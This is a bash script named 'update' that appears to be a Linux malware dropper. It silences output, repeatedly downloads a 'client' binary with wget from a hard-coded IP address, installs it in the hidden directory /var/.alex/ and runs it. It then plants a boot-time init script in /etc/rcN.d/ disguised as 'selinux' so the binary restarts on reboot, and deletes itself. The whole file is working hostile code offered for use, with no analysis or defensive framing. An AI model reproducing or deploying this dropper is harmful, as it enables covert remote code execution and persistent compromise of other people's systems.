update

#!/bin/bash

# parameter protocal: update.sh alexjlz_client_url

exec 1</dev/null
exec 2</dev/null
declare -i count_down_from=100
declare -i does_this_exist=0
current_working_directory=`pwd`
current_runlevel=`runlevel | cut -d ' ' -f 2`
current_rc_d="/etc/rc$current_runlevel.d/"

self=`basename $0`
base_location="/var/.alex/"
default_url="http://198.211.0.204/client"
url=""
mydownloader=`which wget`
declare -i status=1

mkdir -p $base_location

if [ $# -lt 1 ]
then    
    url=$default_url
else
    url=$1
fi
while [ $status -ne 0 ]
do
    rm -rf $tmp_file
    $mydownloader $url 2>/dev/null
    status=$?
done
cp -f ./client $base_location/client
chmod a+x $base_location/client
$base_location/client
rm -rf $tmp_file

cd $current_rc_d
while [ $count_down_from -gt 20 ]
do
    count_down_from=$count_down_from-1
    does_this_exist=`ls | grep "^S$count_down_from" | wc -l`
    if [ $does_this_exist -eq 0 ];then
        new_S_file_name="S${count_down_from}selinux"
        echo "#!/bin/sh" >> $new_S_file_name
        echo "#alexjlz" >> $new_S_file_name
        echo "#security enhanced linux" >> $new_S_file_name
        echo '
PATH=/bin:/usr/bin:/sbin:/usr/sbin
DAEMON=/var/.alex/client
PIDFILE=/var/run/.selinux.pid

test -x $DAEMON || exit 0

. /lib/lsb/init-functions

case "$1" in
  start)
	start_daemon -p $PIDFILE $DAEMON
    ;;
  stop)
    ;;
  force-reload|restart)
    ;;
  status)
    ;;
  *)
    exit 1
    ;;
esac

exit 0' >> $new_S_file_name
        chmod a+x $new_S_file_name
        break
    else
        this_file=`ls | grep "^S$count_down_from"`
        grep "alexjlz" $this_file >/dev/null 2>&1
        if [ $? -eq 0 ];then
            break
        fi
    fi
done
cd $current_working_directory
rm -rf $self
exit 0